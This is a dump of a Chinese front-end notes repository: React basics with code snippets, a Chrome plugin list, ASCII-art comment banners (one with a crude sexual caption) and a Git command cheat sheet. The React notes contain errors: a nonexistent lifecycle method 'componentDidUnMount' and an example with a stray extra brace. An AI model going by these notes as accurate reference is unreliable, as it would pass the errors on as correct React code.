 15 |   - [函数定义组件](#%E5%87%BD%E6%95%B0%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6)
 16 |   - [类定义组件](#%E7%B1%BB%E5%AE%9A%E4%B9%89%E7%BB%84%E4%BB%B6)
 17 | - [State](#state)
 18 | - [生命周期](#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F)
 19 | - [事件处理](#%E4%BA%8B%E4%BB%B6%E5%A4%84%E7%90%86)
 20 | - [条件渲染](#%E6%9D%A1%E4%BB%B6%E6%B8%B2%E6%9F%93)
 21 |   - [元素变量](#%E5%85%83%E7%B4%A0%E5%8F%98%E9%87%8F)
 22 |   - [与运算符 &&](#%E4%B8%8E%E8%BF%90%E7%AE%97%E7%AC%A6-)
 23 |   - [三目运算符](#%E4%B8%89%E7%9B%AE%E8%BF%90%E7%AE%97%E7%AC%A6)
 24 |   - [阻止组件渲染](#%E9%98%BB%E6%AD%A2%E7%BB%84%E4%BB%B6%E6%B8%B2%E6%9F%93)
 25 | - [列表 & Keys](#%E5%88%97%E8%A1%A8--keys)
 26 |   - [渲染多个组件](#%E6%B8%B2%E6%9F%93%E5%A4%9A%E4%B8%AA%E7%BB%84%E4%BB%B6)
 27 | - [表单](#%E8%A1%A8%E5%8D%95)
 28 |   - [受控组件](#%E5%8F%97%E6%8E%A7%E7%BB%84%E4%BB%B6)
 29 |   - [多个输入的解决方法](#%E5%A4%9A%E4%B8%AA%E8%BE%93%E5%85%A5%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95)
 30 | - [状态提升](#%E7%8A%B6%E6%80%81%E6%8F%90%E5%8D%87)
 31 | - [组合 vs 继承](#%E7%BB%84%E5%90%88-vs-%E7%BB%A7%E6%89%BF)
 32 |   - [包含关系](#%E5%8C%85%E5%90%AB%E5%85%B3%E7%B3%BB)
 33 | 
 34 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 35 | 
 36 | ## Hello World
 37 | 
 38 | 简单示例：
 39 | ```js
 40 | ReactDOM.render(
 41 |   <h1>Hello, world!</h1>,
 42 |   document.getElementById('root')
 43 | );
 44 | ```
 45 | 
 46 | ## JSX 简介
 47 | 
 48 | 1、JSX， 是一种 JavaScript 的语法扩展，其实也是一种表达式。  
 49 | 2、可以在 JSX 当中使用 JavaScript 表达式，但是要包含在大括号里。  
 50 | 3、推荐在 JSX 代码的外面扩上一个小括号，这样可以防止分号自动插入的 bug。  
 51 | 4、Babel 转译器会把 JSX 转换成一个名为 React.createElement() 的方法调用，转化为普通的 JavaScript 对象。  
 52 | 
 53 | 使用示例：
 54 | ```js
 55 | const element1 = <h1>Hello, world!</h1>;
 56 | ```
 57 | 
 58 | ### JSX 属性
 59 | 
 60 | ```js
 61 | // 使用引号来定义以字符串为值的属性
 62 | const element = <div tabIndex="0"></div>;
 63 | // 使用大括号来定义以 JavaScript 表达式为值的属性
 64 | const element = <img src={user.avatarUrl}></img>;
 65 | ```
 66 | 
 67 | ### JSX 嵌套
 68 | 
 69 | ```js
 70 | // 如果 JSX 标签是闭合式的，那么你需要在结尾处用 />
 71 | const element = <img src={user.avatarUrl} />;
 72 | // JSX 标签可以相互嵌套
 73 | const element = (
 74 |   <div>
 75 |     <h1>Hello!</h1>
 76 |     <h2>Good to see you here.</h2>
 77 |   </div>
 78 | );
 79 | ```
 80 | 
 81 | **注意：** 在 JSX 中，class 变成了 className，tabindex 变成了 tabIndex，for 变成了 htmlFor 。
 82 | 
 83 | ## 元素渲染
 84 | 
 85 | 元素是构成 React 应用的最小单位。
 86 | 
 87 | 元素示例：
 88 | ```js
 89 | const element = <h1>Hello, world</h1>;
 90 | ```
 91 | 
 92 | ## 组件 & Props
 93 | 
 94 | 1、组件从概念上看就像是函数，它可以接收任意的输入值（称之为“props”），并返回一个需要在页面上展示的React元素。  
 95 | 2、组件名称必须以大写字母开头。  
 96 | 3、组合组件：组件可以在它的输出中引用其它组件。  
 97 | 4、提取组件：可以将组件切分为更小的组件。  
 98 | 5、Props 是只读性的。
 99 | 
100 | ### 函数定义组件
101 | 
102 | ```js
103 | function Welcome(props) {
104 |   return <h1>Hello, {props.name}</h1>;
105 | }
106 | ```
107 | 
108 | ### 类定义组件
109 | 
110 | ```js
111 | class Welcome extends React.Component {
112 |   render() {
113 |     return <h1>Hello, {this.props.name}</h1>;
114 |   }
115 | }
116 | ```
117 | 
118 | ## State
119 | 
120 | 1、状态与属性相似，但是状态是私有的，完全受控于当前组件。  
121 | 2、使用类构造函数来初始化状态 this.state。  
122 | 3、不要直接更新状态，应当使用 setState()。  
123 | 4、调用 setState() 时，React 将你提供的对象浅合并到当前状态。
124 | 5、this.props 和 this.state 可能是异步更新的，不应该依靠它们的值来计算下一个状态。  
125 | 6、数据自顶向下流动（单向数据流）。  
126 | 
127 | 使用示例：
128 | ```js
129 | class Clock extends React.Component {
130 |   constructor(props) {
131 |     super(props);
132 |     this.state = {date: new Date()};
133 |   }
134 |   tick() {
135 |     this.setState({
136 |       date: new Date()
137 |     });
138 |   }
139 |   update() {
140 |     this.setState((prevState, props) => ({
141 |       counter: prevState.counter + props.increment
142 |     }));
143 |   }
144 | }
145 | ```
146 | 
147 | ## 生命周期
148 | 
149 | ```js
150 | class ExampleComponent extends React.Component {
151 |   // 用于初始化 state
152 |   constructor() {}
153 |   // 用于替换 `componentWillReceiveProps` ，该函数会在初始化和 `update` 时被调用
154 |   // 因为该函数是静态函数，所以取不到 `this`
155 |   // 如果需要对比 `prevProps` 需要单独在 `state` 中维护
156 |   static getDerivedStateFromProps(nextProps, prevState) {}
157 |   // 判断是否需要更新组件，多用于组件性能优化
158 |   shouldComponentUpdate(nextProps, nextState) {}
159 |   // 组件挂载后调用
160 |   // 可以在该函数中进行请求或者订阅
161 |   componentDidMount() {}
162 |   // 用于获得最新的 DOM 数据
163 |   getSnapshotBeforeUpdate(prevProps, prevState) {}
164 |   // 组件即将销毁
165 |   // 可以在此处移除订阅，定时器等等
166 |   componentWillUnmount() {}
167 |   // 组件销毁后调用
168 |   componentDidUnMount() {}
169 |   // 组件更新后调用
170 |   componentDidUpdate() {}
171 |   // 渲染组件函数
172 |   render() {}
173 |   // 以下函数不建议使用
174 |   UNSAFE_componentWillMount() {}
175 |   UNSAFE_componentWillUpdate(nextProps, nextState) {}
176 |   UNSAFE_componentWillReceiveProps(nextProps) {}
177 | }
178 | ```
179 | 
180 | ![图示](../Images/lifecycle.jpg)
181 | 
182 | ## 事件处理
183 | 
184 | 1、React事件绑定属性的命名采用驼峰式写法，而不是小写。
185 | 2、不能使用返回 false 的方式阻止默认行为，而是使用 preventDefault。
186 | 
187 | 示例：处理事件的三种方法
188 | ```js
189 | class Toggle extends React.Component {
190 |   constructor(props) {
191 |     super(props);
192 |     // This binding is necessary to make `this` work in the callback
193 |     this.handleClick1 = this.handleClick1.bind(this);
194 |   }
195 | 
196 |   handleClick1() {
197 |     this.setState({...})
198 |   }
199 |   
200 |   handleClick2 = () => {
201 |     ...
202 |   }
203 | 
204 |   handleClick3 = () => {
205 |     ...
206 |   }
207 | 
208 |   render() {
209 |     return (
210 |       <div>
211 |         <button onClick={this.handleClick1}>按钮1</button>
212 |         <button onClick={this.handleClick2}>按钮2</button>
213 |         <button onClick={(e) => this.handleClick3(e)}}>按钮3</button>
214 |       </div>
215 |     );
216 |   }
217 | }
218 | 
219 | ```
220 | 
221 | 示例：向事件处理程序传递参数
222 | ```js
223 | class Toggle extends React.Component {
224 |   constructor(props) {
225 |     super(props);
226 |     this.state = {name:'Hello world!'};
227 |   }
228 | 
229 |   deleteRow(id, e) {
230 |     ...
231 |   }
232 | 
233 |   render() {
234 |     return (
235 |       <div>
236 |         <button onClick={(e) => this.deleteRow(id, e)}>Delete Row</button>
237 |         <button onClick={this.deleteRow.bind(this, id)}>Delete Row</button>
238 |       </div>
239 |     );
240 |   }
241 | }
242 | 
243 | ```
244 | **注意：**  
245 | 1、参数 e 作为 React 事件对象将会被作为最后一个参数进行传递。
246 | 2、通过箭头函数的方式，事件对象必须显式的进行传递。  
247 | 3、通过 bind 的方式，事件对象以及更多的参数将会被隐式的进行传递。  
248 | 
249 | ## 条件渲染
250 | 
251 | ### 元素变量
252 | 
253 | ```js
254 | render() {
255 |   const isLoggedIn = this.state.isLoggedIn;
256 |     
257 |   let button = null;
258 |   if (isLoggedIn) {
259 |     button = <LogoutButton onClick={this.handleLogoutClick} />;
260 |   } else {
261 |     button = <LoginButton onClick={this.handleLoginClick} />;
262 |   }
263 |     
264 |   return (
265 |     <div>
266 |       <Greeting isLoggedIn={isLoggedIn} />
267 |       {button}
268 |     </div>
269 |   );
270 | }
271 | ```
272 | 
273 | ### 与运算符 &&
274 | 
275 | ```js
276 | function Mailbox(props) {
277 |   const unreadMessages = props.unreadMessages;
278 |   return (
279 |     <div>
280 |       <h1>Hello!</h1>
281 |       {unreadMessages.length > 0 &&
282 |         <h2>
283 |           You have {unreadMessages.length} unread messages.
284 |         </h2>
285 |       }
286 |     </div>
287 |   );
288 | }
289 | ```
290 | 
291 | ### 三目运算符
292 | 
293 | ```js
294 | render() {
295 |   const isLoggedIn = this.state.isLoggedIn;
296 |   return (
297 |     <div>
298 |       The user is <b>{isLoggedIn ? 'currently' : 'not'}</b> logged in.
299 |     </div>
300 |   );
301 | }
302 | ```
303 | 
304 | ### 阻止组件渲染
305 | 
306 | warn 的值是 false，则组件不会渲染。
307 | ```js
308 | render() {
309 |   return (
310 |     <div>
311 |       <WarningBanner warn={this.state.showWarning} />
312 |     </div>
313 |   );
314 | }
315 | ```
316 | 
317 | ## 列表 & Keys
318 | 
319 | 1、Keys可以在DOM中的某些元素被增加或删除的时候帮助React识别哪些元素发生了变化。  
320 | 2、元素的key在他的兄弟元素之间应该唯一。  
321 | 
322 | ### 渲染多个组件
323 | 
324 | ```js
325 | const numbers = [1, 2, 3, 4, 5];
326 | const listItems = numbers.map((number) =>
327 |   <li key={number.toString()}>{number}</li>
328 | );
329 | 
330 | ReactDOM.render(
331 |   <ul>{listItems}</ul>,
332 |   document.getElementById('root')
333 | );
334 | ```
335 | 
336 | ## 表单
337 | 
338 | ### 受控组件
339 | 
340 | 由React控制的输入表单元素称为“受控组件”。
341 | 
342 | 示例：
343 | ```js
344 | render() {
345 |   return (
346 |     <form onSubmit={this.handleSubmit}>
347 |       <input type="text" value={this.state.value} onChange={this.handleChange}/>
348 |       <textarea value={this.state.value} onChange={this.handleChange} />
349 |       <select value={this.state.value} onChange={this.handleChange}>
350 |         <option value="grapefruit">Grapefruit</option>
351 |         <option value="lime">Lime</option>
352 |       </select>
353 |     </form>
354 |   );
355 | }
356 | ```
357 | 
358 | ### 多个输入的解决方法
359 | 
360 | 示例：
361 | ```js
362 | class Reservation extends React.Component {
363 |   constructor(props) {
364 |     super(props);
365 |     this.state = {
366 |       isGoing: true,
367 |       numberOfGuests: 2
368 |     };
369 | 
370 |     this.handleInputChange = this.handleInputChange.bind(this);
371 |   }
372 | 
373 |   handleInputChange(event) {
374 |     const target = event.target;
375 |     const value = target.type === 'checkbox' ? target.checked : target.value;
376 |     const name = target.name;
377 | 
378 |     this.setState({
379 |       [name]: value
380 |     });
381 |   }
382 | 
383 |   render() {
384 |     return (
385 |       <form>
386 |         <label>
387 |           Is going:
388 |           <input
389 |             name="isGoing"
390 |             type="checkbox"
391 |             checked={this.state.isGoing}
392 |             onChange={this.handleInputChange} />
393 |         </label>
394 |         <br />
395 |         <label>
396 |           Number of guests:
397 |           <input
398 |             name="numberOfGuests"
399 |             type="number"
400 |             value={this.state.numberOfGuests}
401 |             onChange={this.handleInputChange} />
402 |         </label>
403 |       </form>
404 |     );
405 |   }
406 | }
407 | ```
408 | 
409 | ## 状态提升
410 | 
411 | 在React应用中，对应任何可变数据理应只有一个单一“数据源”。将多个组件共享的状态提升至他们最近的父组件当中进行管理。
412 | 
413 | ## 组合 vs 继承
414 | 
415 | 建议使用组合而不是继承来复用组件之间的代码。
416 | 
417 | ### 包含关系
418 | 
419 | 使用 children 属性将子元素直接传递到输出。
420 | ```js
421 | function FancyBorder(props) {
422 |   return (
423 |     <div className={'FancyBorder FancyBorder-' + props.color}>
424 |       {props.children}
425 |     </div>
426 |   );
427 | }
428 | ```
429 | 


--------------------------------------------------------------------------------
/React/Docs/Redux.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Docs/Redux.md


--------------------------------------------------------------------------------
/React/Images/lifecycle.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tibaiwan/frontend-note/ad1388423461328bf43ea9ee74f6fdb286460b32/React/Images/lifecycle.jpg


--------------------------------------------------------------------------------
/React/README.md:
--------------------------------------------------------------------------------
 1 | # React 笔记
 2 | 
 3 | - [React 项目结构](./Docs/Framework.md)
 4 | - [React 基础部分](./Docs/React-basic.md)
 5 | - [React 高级部分](./Docs/React.md)
 6 | - [React-Router 笔记](./Docs/React-Router.md)
 7 | - [Redux 笔记](./Docs/Redux.md)
 8 | - [Mobx 笔记](./Docs/Mobx.md)
 9 | - [React 面试问题](./Docs/Interview.md)
10 | - [React 最佳实践](./Docs/Experience.md)
11 | - [Immutable 笔记](./Docs/Immutable.md)
12 | 


--------------------------------------------------------------------------------
/Tools/Chrome-plugin/README.md:
--------------------------------------------------------------------------------
1 | ## 常用插件
2 | 
3 | > **Octotree** 在github项目页左侧展示该项目的树结构  
4 | > **Momentum** 打开一个Tab的时候是一副精美图（每日更新）  
5 | > **Postman** 网页测试HTTP请求模式器  
6 | > **Page Ruler** 查看网页一些图片的详细像素大小、具体位置等  
7 | > **JsonView** 格式化浏览器返回的json数据，方便查看  
8 | > **微信扫码** 展示网站URL二维码，通过手机扫描进行访问  
9 | 


--------------------------------------------------------------------------------
/Tools/Docs/Character-Picture.md:
--------------------------------------------------------------------------------
  1 | # 佛祖镇楼系列
  2 | 
  3 | * [佛祖镇楼](#佛祖镇楼)
  4 | * [神兽保佑](#神兽保佑)
  5 | * [Fuck Bug](#fuck-bug)
  6 | * [十字架](#十字架)
  7 | * [老鼠](#老鼠)
  8 | * [狗头](#狗头)
  9 | * [巴掌](#巴掌)
 10 | 
 11 | ## 佛祖镇楼
 12 | 
 13 | ```js
 14 | //                            _ooOoo_
 15 | //                           o8888888o
 16 | //                           88" . "88
 17 | //                           (| -_- |)
 18 | //                            O\ = /O
 19 | //                        ____/`---'\____
 20 | //                       / .' \\| |// `. \
 21 | //                      / \\|||  :  |||// \
 22 | //                     / _||||| -:- |||||- \
 23 | //                     | | | \\\ - /// | |  |
 24 | //                     | \_| ''\---/'' | |  |
 25 | //                      \ .-\__ `-` ___/-. /
 26 | //                   ___`. .' /--.--\ `. . __
 27 | //                ."" '< `.___\_<|>_/___.' >'"".
 28 | //               | | : `- \`.;`\ _ /`;.`/ - ` : | |
 29 | //                 \ \ `-. \_ __\ /__ _/ .-` / /
 30 | //         ======`-.____`-.___\_____/___.-`____.-'======
 31 | //                            `=---='
 32 | //
 33 | //         .............................................
 34 | //                  佛祖镇楼                  BUG辟易
 35 | ```
 36 | 
 37 | ## 神兽保佑
 38 | 
 39 | ```js
 40 | /* code is far away from bug with the animal protecting
 41 | *  ┏┓　　　┏┓
 42 | *┏┛┻━━━┛┻┓
 43 | *┃　　　　　　　┃ 　
 44 | *┃　　　━　　　┃
 45 | *┃　┳┛　┗┳　┃
 46 | *┃　　　　　　　┃
 47 | *┃　　　┻　　　┃
 48 | *┃　　　　　　　┃
 49 | *┗━┓　　　┏━┛
 50 | *　　┃　　　┃
 51 | *　　┃　　　┃
 52 | *　　┃　　　┃
 53 | *　　┃　　　┃
 54 | *　　┃　　　┃
 55 | *　　┃　　　┃
 56 | *　　┃　　　┃
 57 | *　　┃　　　┃
 58 | *　　┃　　　┃
 59 | *　　┃　　　┗━━━┓
 60 | *　　┃　　　　　　　┣┓
 61 | *　　┃　　　　　　　┏┛
 62 | *　　┗┓┓┏━┳┓┏┛
 63 | *　　　┃┫┫　┃┫┫
 64 | *　　　┗┻┛　┗┻┛ 
 65 | *　　　
 66 | */
 67 | ```
 68 | ```js
 69 | /*        ┏┓　　　┏┓+ +
 70 | *　　　┏┛┻━━━┛┻┓ + +
 71 | *　　　┃　　　　　　　┃ 　
 72 | *　　　┃　　　━　　　┃ ++ + + +
 73 | *　　 ████━████ ┃+
 74 | *　　　┃　　　　　　　┃ +
 75 | *　　　┃　　　┻　　　┃
 76 | *　　　┃　　　　　　　┃ + +
 77 | *　　　┗━┓　　　┏━┛
 78 | *　　　　　┃　　　┃　
 79 | *　　　　　┃　　　┃ + + + +
 80 | *　　　　　┃　　　┃　　　　Codes are far away from bugs with the animal protecting
 81 | *　　　　　┃　　　┃ + 　　 神兽保佑,代码无bug
 82 | *　　　　　┃　　　┃
 83 | *　　　　　┃　　　┃
 84 | *　　　　　┃　　　┃
 85 | *　　　　　┃　　　┃
 86 | *　　　　　┃　　　┃　　+
 87 | *　　　　　┃　 　　┗━━━┓ + +
 88 | *　　　　　┃ 　　　　　　　┣┓
 89 | *　　　　　┃ 　　　　　　　┏┛
 90 | *　　　　　┗┓┓┏━┳┓┏┛ + + + +
 91 | *　　　　　　┃┫┫　┃┫┫
 92 | *　　　　　　┗┻┛　┗┻┛+ + + +
 93 | */
 94 | ```
 95 | 
 96 | ## Fuck Bug
 97 | 
 98 | ```js
 99 | //
100 | //   █████▒█    ██  ▄████▄   ██ ▄█▀       ██████╗ ██╗   ██╗ ██████╗
101 | // ▓██   ▒ ██  ▓██▒▒██▀ ▀█   ██▄█▒        ██╔══██╗██║   ██║██╔════╝
102 | // ▒████ ░▓██  ▒██░▒▓█    ▄ ▓███▄░        ██████╔╝██║   ██║██║  ███╗
103 | // ░▓█▒  ░▓▓█  ░██░▒▓▓▄ ▄██▒▓██ █▄        ██╔══██╗██║   ██║██║   ██║
104 | // ░▒█░   ▒▒█████▓ ▒ ▓███▀ ░▒██▒ █▄       ██████╔╝╚██████╔╝╚██████╔╝
105 | //  ▒ ░   ░▒▓▒ ▒ ▒ ░ ░▒ ▒  ░▒ ▒▒ ▓▒       ╚═════╝  ╚═════╝  ╚═════╝
106 | //  ░     ░░▒░ ░ ░   ░  ▒   ░ ░▒ ▒░
107 | //  ░ ░    ░░░ ░ ░ ░        ░ ░░ ░
108 | //           ░     ░ ░      ░  ░
109 | //                 ░
110 | ```
111 | 
112 | ## 十字架
113 | 
114 | ```js
115 | //                               |~~~~~~~|
116 | //                               |       |
117 | //                               |       |
118 | //                               |       |
119 | //                               |       |
120 | //                               |       |
121 | //    |~.\\\_\~~~~~~~~~~~~~~xx~~~         ~~~~~~~~~~~~~~~~~~~~~/_//;~|
122 | //    |  \  o \_         ,XXXXX),                         _..-~ o /  |
123 | //    |    ~~\  ~-.     XXXXX`)))),                 _.--~~   .-~~~   |
124 | //     ~~~~~~~`\   ~\~~~XXX' _/ ';))     |~~~~~~..-~     _.-~ ~~~~~~~
125 | //              `\   ~~--`_\~\, ;;;\)__.---.~~~      _.-~
126 | //                ~-.       `:;;/;; \          _..-~~
127 | //                   ~-._      `''        /-~-~
128 | //                       `\              /  /
129 | //                         |         ,   | |
130 | //                          |  '        /  |
131 | //                           \/;          |
132 | //                            ;;          |
133 | //                            `;   .       |
134 | //                            |~~~-----.....|
135 | //                           | \             \
136 | //                          | /\~~--...__    |
137 | //                          (|  `\       __-\|
138 | //                          ||    \_   /~    |
139 | //                          |)     \~-'      |
140 | //                           |      | \      '
141 | //                           |      |  \    :
142 | //                            \     |  |    |
143 | //                             |    )  (    )
144 | //                              \  /;  /\  |
145 | //                              |    |/   |
146 | //                              |    |   |
147 | //                               \  .'  ||
148 | //                               |  |  | |
149 | //                               (  | |  |
150 | //                               |   \ \ |
151 | //                               || o `.)|
152 | //                               |`\\\\) |
153 | //                               |       |
154 | //                               |       |
155 | ```
156 | 
157 | ## 老鼠
158 | 
159 | ```js
160 | /*
161 | *  .--,       .--,
162 | * ( (  \.---./  ) )
163 | *  '.__/o   o\__.'
164 | *     {=  ^  =}
165 | *      >  -  <
166 | *     /       \
167 | *    //       \\
168 | *   //|   .   |\\
169 | *   "'\       /'"_.-~^`'-.
170 | *      \  _  /--'         `
171 | *    ___)( )(___
172 | *   (((__) (__)))    高山仰止,景行行止.虽不能至,心向往之。
173 | */
174 | ```
175 | 
176 | ## Sexy lady
177 | 
178 | ```js
179 | //
180 | //                       .::::.
181 | //                     .::::::::.
182 | //                    :::::::::::  fuck me
183 | //                 ..:::::::::::'
184 | //              '::::::::::::'
185 | //                .::::::::::
186 | //           '::::::::::::::..
187 | //                ..::::::::::::.
188 | //              ``::::::::::::::::
189 | //               ::::``:::::::::'        .:::.
190 | //              ::::'   ':::::'       .::::::::.
191 | //            .::::'      ::::     .:::::::'::::.
192 | //           .:::'       :::::  .:::::::::' ':::::.
193 | //          .::'        :::::.:::::::::'      ':::::.
194 | //         .::'         ::::::::::::::'         ``::::.
195 | //     ...:::           ::::::::::::'              ``::.
196 | //    ```` ':.          ':::::::::'                  ::::..
197 | //                       '.:::::'                    ':'````..
198 | //
199 | //
200 | ```
201 | 
202 | ## Dog
203 | 
204 | ```html
205 | <!--
206 |                        ::
207 |                       :;J7, :,                        ::;7:
208 |                       ,ivYi, ,                       ;LLLFS:
209 |                       :iv7Yi                       :7ri;j5PL
210 |                      ,:ivYLvr                    ,ivrrirrY2X,
211 |                      :;r@Wwz.7r:                :ivu@kexianli.
212 |                     :iL7::,:::iiirii:ii;::::,,irvF7rvvLujL7ur
213 |                    ri::,:,::i:iiiiiii:i:irrv177JX7rYXqZEkvv17
214 |                 ;i:, , ::::iirrririi:i:::iiir2XXvii;L8OGJr71i
215 |               :,, ,,:   ,::ir@mingyi.irii:i:::j1jri7ZBOS7ivv,
216 |                  ,::,    ::rv77iiiriii:iii:i::,rvLq@huhao.Li
217 |              ,,      ,, ,:ir7ir::,:::i;ir:::i:i::rSGGYri712:
218 |            :::  ,v7r:: ::rrv77:, ,, ,:i7rrii:::::, ir7ri7Lri
219 |           ,     2OBBOi,iiir;r::        ,irriiii::,, ,iv7Luur:
220 |         ,,     i78MBBi,:,:::,:,  :7FSL: ,iriii:::i::,,:rLqXv::
221 |         :      iuMMP: :,:::,:ii;2GY7OBB0viiii:i:iii:i:::iJqL;::
222 |        ,     ::::i   ,,,,, ::LuBBu BBBBBErii:i:i:i:i:i:i:r77ii
223 |       ,       :       , ,,:::rruBZ1MBBqi, :,,,:::,::::::iiriri:
224 |      ,               ,,,,::::i:  @arqiao.       ,:,, ,:::ii;i7:
225 |     :,       rjujLYLi   ,,:::::,:::::::::,,   ,:i,:,,,,,::i:iii
226 |     ::      BBBBBBBBB0,    ,,::: , ,:::::: ,      ,,,, ,,:::::::
227 |     i,  ,  ,8BMMBBBBBBi     ,,:,,     ,,, , ,   , , , :,::ii::i::
228 |     :      iZMOMOMBBM2::::::::::,,,,     ,,,,,,:,,,::::i:irr:i:::,
229 |     i   ,,:;u0MBMOG1L:::i::::::  ,,,::,   ,,, ::::::i:i:iirii:i:i:
230 |     :    ,iuUuuXUkFu7i:iii:i:::, :,:,: ::::::::i:i:::::iirr7iiri::
231 |     :     :rk@Yizero.i:::::, ,:ii:::::::i:::::i::,::::iirrriiiri::,
232 |      :      5BMBBBBBBSr:,::rv2kuii:::iii::,:i:,, , ,,:,:i@petermu.,
233 |           , :r50EZ8MBBBBGOBBBZP7::::i::,:::::,: :,:,::i;rrririiii::
234 |               :jujYY7LS0ujJL7r::,::i::,::::::::::::::iirirrrrrrr:ii:
235 |            ,:  :@kevensun.:,:,,,::::i:i:::::,,::::::iir;ii;7v77;ii;i,
236 |            ,,,     ,,:,::::::i:iiiii:i::::,, ::::iiiir@xingjief.r;7:i,
237 |         , , ,,,:,,::::::::iiiiiiiiii:,:,:::::::::iiir;ri7vL77rrirri::
238 |          :,, , ::::::::i:::i:::i:i::,,,,,:,::i:i:::iir;@Secbone.ii:::
239 | -->
240 | ```
241 | 
242 | ## 巴掌
243 | 
244 | ```html
245 | <!--
246 |                                  qBMBBBMBMY 
247 |       偷看代码！！               8BBBBBOBMBMv
248 |                               iMBMM5vOY:BMBBv
249 |               .r,             OBM;   .: rBBBBBY
250 |               vUL             7BB   .;7. LBMMBBM.
251 |              .@Wwz.           :uvir .i:.iLMOMOBM..  
252 |               vv::r;             iY. ...rv,@arqiao. 
253 |                Li. i:             v:.::::7vOBBMBL.. 
254 |                ,i7: vSUi,         :M7.:.,:u08OP. .  
255 |                  .N2k5u1ju7,..     BMGiiL7   ,i,i.  
256 |                   :rLjFYjvjLY7r::.  ;v  vr... rE8q;.:,, 
257 |                  751jSLXPFu5uU@guohezou.,1vjY2E8@Yizero.    
258 |                  BB:FMu rkM8Eq0PFjF15FZ0Xu15F25uuLuu25Gi.   
259 |                ivSvvXL    :v58ZOGZXF2UUkFSFkU1u125uUJUUZ,   
260 |              :@kevensun.      ,iY20GOXSUXkSuS2F5XXkUX5SEv.  
261 |          .:i0BMBMBBOOBMUi;,        ,;8PkFP5NkPXkFqPEqqkZu.  
262 |        .rqMqBBMOMMBMBBBM .           @kexianli.S11kFSU5q5   
263 |      .7BBOi1L1MM8BBBOMBB..,          8kqS52XkkU1Uqkk1kUEJ   
264 |      .;MBZ;iiMBMBMMOBBBu ,           1OkS1F1X5kPP112F51kU   
265 |        .rPY  OMBMBBBMBB2 ,.          rME5SSSFk1XPqFNkSUPZ,.
266 |               ;;JuBML::r:.:.,,        SZPX0SXSP5kXGNP15UBr.
267 |                   L,    :@huhao.      :MNZqNXqSqXk2E0PSXPE .
268 |               viLBX.,,v8Bj. i:r7:,     2Zkqq0XXSNN0NOXXSXOU 
269 |             :r2. rMBGBMGi .7Y, 1i::i   vO0PMNNSXXEqP@Secbone.
270 |             .i1r. .jkY,    vE. iY....  20Fq0q5X5F1S2F22uuv1M;
271 | -->
272 | ```
273 | 
274 | 


--------------------------------------------------------------------------------
/Tools/Git/README.md:
--------------------------------------------------------------------------------
  1 | <!-- START doctoc generated TOC please keep comment here to allow auto update -->
  2 | <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
  3 | **Table of Contents**  *generated with [DocToc](https://github.com/thlorenz/doctoc)*
  4 | # Git 常用命令清单
  5 | 
  6 | - [工程下载、分支的增删查改](#%E5%B7%A5%E7%A8%8B%E4%B8%8B%E8%BD%BD%E5%88%86%E6%94%AF%E7%9A%84%E5%A2%9E%E5%88%A0%E6%9F%A5%E6%94%B9)
  7 |   - [工程下载：](#%E5%B7%A5%E7%A8%8B%E4%B8%8B%E8%BD%BD)
  8 |   - [分支的增删查改](#%E5%88%86%E6%94%AF%E7%9A%84%E5%A2%9E%E5%88%A0%E6%9F%A5%E6%94%B9)
  9 | - [查看提交信息日志](#%E6%9F%A5%E7%9C%8B%E6%8F%90%E4%BA%A4%E4%BF%A1%E6%81%AF%E6%97%A5%E5%BF%97)
 10 | - [版本回退](#%E7%89%88%E6%9C%AC%E5%9B%9E%E9%80%80)
 11 | - [文件的添加、提交、拉取、推送、比对、合并](#%E6%96%87%E4%BB%B6%E7%9A%84%E6%B7%BB%E5%8A%A0%E6%8F%90%E4%BA%A4%E6%8B%89%E5%8F%96%E6%8E%A8%E9%80%81%E6%AF%94%E5%AF%B9%E5%90%88%E5%B9%B6)
 12 | - [常用选项和其他命令](#%E5%B8%B8%E7%94%A8%E9%80%89%E9%A1%B9%E5%92%8C%E5%85%B6%E4%BB%96%E5%91%BD%E4%BB%A4)
 13 |   - [git 中部分选项解释](#git-%E4%B8%AD%E9%83%A8%E5%88%86%E9%80%89%E9%A1%B9%E8%A7%A3%E9%87%8A)
 14 |   - [其他命令](#%E5%85%B6%E4%BB%96%E5%91%BD%E4%BB%A4)
 15 | - [配置相关](#%E9%85%8D%E7%BD%AE%E7%9B%B8%E5%85%B3)
 16 | 
 17 | <!-- END doctoc generated TOC please keep comment here to allow auto update -->
 18 | 
 19 | ## 工程初始化及下载：
 20 | 
 21 | - 初始化本地仓库：git init
 22 | - clone 远程工程：git clone `https://XXXX/project.git`
 23 | - fetch 远程分支到本地某分支：git fetch origin `<orginname>`:`<localname>`
 24 | 
 25 | ## 分支的增删查改
 26 | 
 27 | - 查看本地所有分支：git branch
 28 | - 查看远程所有分支：git branch -r
 29 | - 查看本地和远程所有分支：git branch -a
 30 | - 创建分支：git branch `<name>`
 31 | - 切换分支：git checkout `<name>`
 32 | - 创建并切换分支：git checkout -b `<name>` [origin/`<name>`]
 33 | - 把分支推送到远程：git push origin `<name>`
 34 | - 删除本地分支：git branch (-d | -D) `<name>`
 35 | - 删除远程分支：git push origin -d `<name>`
 36 | - 分支重命名：git branch (-m | -M) `<oldbranch>` `<newbranch>`
 37 | 
 38 | **注意：** 不能删除当前所在本地分支。
 39 | 
 40 | ## 文件的添加、提交、拉取、推送、比对、合并
 41 | 
 42 | - 添加新增文件：git add README.md
 43 | - 添加所有新增文件：git add .
 44 | - 暂存变更文件：git stash [save "暂存备注"]
 45 | - 恢复暂存文件：git stash pop
 46 | - 提交变更文件：git commit -m "变更备注"
 47 | - 拉取远程代码：git pull [origin `<name>`]
 48 | - 推送到远程：git push origin `<name>`
 49 | - 比对两个本地分支：git diff `<name1>` `<name2>`
 50 | - 比对本地和远程分支：git diff `<name>` `origin/<name>`
 51 | - 比对两个分支变更的文件列表：git diff `<name1>` `<name2>` --stat
 52 | - 合并某分支到当前分支：git merge `<name>`
 53 | - 合并某次提交到当前分支：git cherry-pick `<commit id>`
 54 | - 撤销某次提交：git revert `<commit id>`
 55 | - 强制覆盖本地分支：  
 56 |     1、git fetch --all  
 57 |     2、git reset --hard origin/`<name>`   
 58 |     3、git pull  
